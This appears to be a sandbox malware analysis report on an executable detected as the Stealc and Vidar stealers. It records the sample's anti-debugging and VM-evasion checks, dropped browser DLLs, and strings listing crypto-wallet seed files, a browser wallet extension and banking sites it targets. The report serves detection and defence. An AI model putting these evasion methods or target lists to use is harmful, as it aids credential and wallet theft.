Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD329B second address: FD32A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F4A4CE02A26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD32A5 second address: FD32B1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4A4CCE8426h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD32B1 second address: FD32F6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4A4CE02A37h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007F4A4CE02A2Fh 0x0000000f jmp 00007F4A4CE02A2Bh 0x00000014 pop edx 0x00000015 pop eax 0x00000016 jl 00007F4A4CE02A4Ah 0x0000001c jng 00007F4A4CE02A36h 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD32F6 second address: FD32FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6312 second address: FD6316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6316 second address: FD631C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD925B second address: FD925F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDB1DB second address: FDB1E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C702CA second address: 4C70305 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c mov di, si 0x0000000f mov dx, cx 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 pushad 0x00000015 jmp 00007F4A4CE02A38h 0x0000001a mov ecx, 30982CC1h 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70305 second address: 4C70309 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70309 second address: 4C7030F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7030F second address: 4C7032A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4A4CCE8437h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C703D3 second address: 4C703D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C703D9 second address: 4C703DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70B7F second address: 4C70B85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70B85 second address: 4C70BBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F4A4CCE842Ah 0x00000008 pop ecx 0x00000009 mov eax, ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f jmp 00007F4A4CCE842Ah 0x00000014 mov dword ptr [esp], ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F4A4CCE8437h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70BBF second address: 4C70BED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A4CE02A39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4A4CE02A2Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70BED second address: 4C70BF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D51A54 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D4F06E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F75911 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00B04910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00B04910
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00AFDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_00AFDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00AFE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_00AFE430
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00B03EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_00B03EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00AFF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00AFF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00AF16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00AF16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00AFBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	1_2_00AFBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00B038B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	1_2_00B038B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00AFED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_00AFED20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00B04570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	1_2_00B04570
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00AFDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00AFDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00AF1160 GetSystemInfo,ExitProcess,

1_2_00AF1160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: IECGIEBA.1.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, file.exe, 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: IECGIEBA.1.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: IECGIEBA.1.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: IECGIEBA.1.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: IECGIEBA.1.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: IECGIEBA.1.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2380756269.0000000000791000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: IECGIEBA.1.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: IECGIEBA.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: IECGIEBA.1.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: IECGIEBA.1.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: IECGIEBA.1.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000001.00000002.2380756269.0000000000768000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware=z
Source: IECGIEBA.1.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: IECGIEBA.1.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: IECGIEBA.1.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: IECGIEBA.1.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: IECGIEBA.1.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: IECGIEBA.1.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: IECGIEBA.1.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: IECGIEBA.1.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: IECGIEBA.1.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: IECGIEBA.1.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: IECGIEBA.1.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: IECGIEBA.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000001.00000002.2380756269.0000000000768000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: IECGIEBA.1.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: IECGIEBA.1.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: IECGIEBA.1.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: IECGIEBA.1.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: IECGIEBA.1.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: IECGIEBA.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: IECGIEBA.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: IECGIEBA.1.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_1-58065
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_1-58087
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_1-58068
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_1-59255
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_1-58080
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_1-58120

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CB05FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

1_2_6CB05FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00AF45C0 VirtualProtect ?,00000004,00000100,00000000

1_2_00AF45C0

Source: C:\Users\user\Desktop\file.exe

1_2_00B09860

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00B09750 mov eax, dword ptr fs:[00000030h]

1_2_00B09750

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00B078E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

1_2_00B078E0

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CADB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		1_2_6CADB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CADB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		1_2_6CADB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5948, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00B09600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

1_2_00B09600

Source: file.exe	Binary or memory string: e-vProgram Manager
Source: file.exe, 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: vProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CADB341 cpuid

1_2_6CADB341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

1_2_00B07B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00B07980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

1_2_00B07980

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00B07850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

1_2_00B07850

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00B07A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

1_2_00B07A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 1.2.file.exe.af0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2380756269.0000000000768000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2149042786.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5948, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5948, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
